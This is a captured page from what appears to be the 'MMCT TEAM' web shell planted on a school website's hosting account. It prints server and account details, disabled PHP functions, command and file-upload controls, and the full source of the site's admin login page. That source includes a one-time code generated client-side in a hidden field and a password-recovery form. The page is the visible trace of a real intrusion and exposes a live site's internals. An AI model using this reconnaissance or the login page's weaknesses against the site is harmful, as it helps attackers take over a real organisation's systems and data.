MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.199
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u490972518/domains/ppschool.org.in/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/ppschool.org.in/public_html/admin/index.php
<html>
			<head>
				<?php include("../link/admin_headconnection.php");?>
				
				
				<link href="../css/adminlogin.css" rel="stylesheet" type="text/css"/>
					<style>
					body
{
	background-image:url(../image/back3.jpg);
	background-attachment:fixed;
}
.work
{
	min-height:200px;
}
.gap
{
	height:100px;
}
th
{
	text-align:center;
}
					
					</style>
			<script>
			function showPassword() {
    
    var key_attr = $('#key').attr('type');
    
    if(key_attr != 'text') {
        
        $('.checkbox').addClass('show');
        $('#key').attr('type', 'text');
        
    } else {
        
        $('.checkbox').removeClass('show');
        $('#key').attr('type', 'password');
        
    }
    
}
$(document).ready(function(){
	
	$("#login-form").submit(function(){
		$.ajax({
			
			url:"../code/adminlogincode.php?flag=1",
			type:"POST",
			data:new FormData(this),
			
			contentType:false,
			processData:false,
			
			success:function(res){
				alert(res);
				if(res=="Login Sccessfully")
				{
					location.replace('../admin/dashboard.php');
				}
				$("#login-form").trigger("reset");
				},
				error:function(){
					alert("error");
				}
			
		});
		
	});
});
$(document).ready(function(){
	$("#form-for").submit(function(){
			
			$.ajax({
			
			url:"../code/adminlogincode.php?flag=2",
			type:"POST",
			data:new FormData(this),
			
			contentType:false,
			processData:false,
			
			success:function(res){
				alert("Your Password send your Mobile ");
				$("#form-for").trigger("reset");
				},
				error:function(){
					alert("error");
				}
			
		});
		
	});
	
});
			</script>
			</head>
<body>
<div class="container-fluid">
		
		<div class="row">
		<!--menu-->
		<div class="col-sm-3"></div>
		<!--menu--close-->
		<div class="col-sm-6">
	<br/><br/><br/><br/><br/>
	<div class="panel-group">
    <div class="panel panel-primary">
      <div class="panel-heading"><center><h4>Admin Login</h4></center></div>
      <div class="panel-body">
	    <div class="col-sm-2"></div>
	  <div class="col-sm-8">
	
	<section id="login">
    
    	
    	    
        	    <div class="form-wrap">
                <h1>Log in with your email account</h1>
                    <form role="form" action="javascript:;" method="post" id="login-form" >
					<div class="form-group">

				<label class=" col-sm-6 label-control">Area<span style="color:red">*</span></label>
				<div class="col-sm-6">
				<select class='form-control' name='area'>
				<option>Cashier</option>
				<option>Admin</option>
				</select></div>
				
				
				
				
				<br/>
  
  
			</div>
                        <div class="form-group">
                            <label for="email" class="sr-only">Email</label>
							<input type="hidden" value="<?php echo rand(1000,9999);?>" name="otp">
                            <input type="email" name="email" id="email" class="form-control" placeholder="somebody@example.com">
                        </div>
                        <div class="form-group">
                            <label for="key" class="sr-only">Password</label>
                            <input type="password" name="key" id="key" class="form-control" placeholder="Password">
                        </div>
                        <div class="checkbox">
                            <span class="character-checkbox" onclick="showPassword()"></span>
                            <span class="label">Show password</span>
                        </div>
                        <input type="submit" id="btn-login" class="btn btn-custom btn-lg btn-block" value="Log in">
                    </form>
                    <a href="javascript:;" class="forget" data-toggle="modal" data-target=".forget-modal">Forgot your password?</a>
                    <hr>
        	    </div>
    		 <div class="col-sm-2"></div>
		
    	</div> <!-- /.row -->
   
</section>

<div class="modal fade forget-modal" tabindex="-1" role="dialog" aria-labelledby="myForgetModalLabel" aria-hidden="true">
<form rol="form"id="form-for" method="post" action="javascript:;">
	<div class="modal-dialog modal-sm">
		<div class="modal-content">
			<div class="modal-header">
			
				<button type="button" class="close" data-dismiss="modal">
					<span aria-hidden="true">×</span>
					<span class="sr-only">Close</span>
				</button>
				<h4 class="modal-title" style="color:green">Recovery password</h4>
			</div>
			<div class="modal-body">
				
				<input type="email"  id="recovery-email" class="form-control"  name="email1" placeholder="Enter Your Email"><h4 style="color:red">OR</h4>
				
				<input type="number"  id="recovery-email" class="form-control"  name="number1" placeholder="Enter Your Mobile No.">
			</div>
			<div class="modal-footer">
				<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
				<button id="re" class="btn btn-custom">Recovery</button>
			</div>
		</div> <!-- /.modal-content -->
	</div> <!-- /.modal-dialog -->
</div> <!-- /.modal -->

<footer id="footer">
   
        
   
</footer>
    </div>
  </div>
  </form>
	  </div>
    </div>
  <div class="col-sm-3"></div>
</div>
		</div>
		</div>
		</html>

MMCT - 2023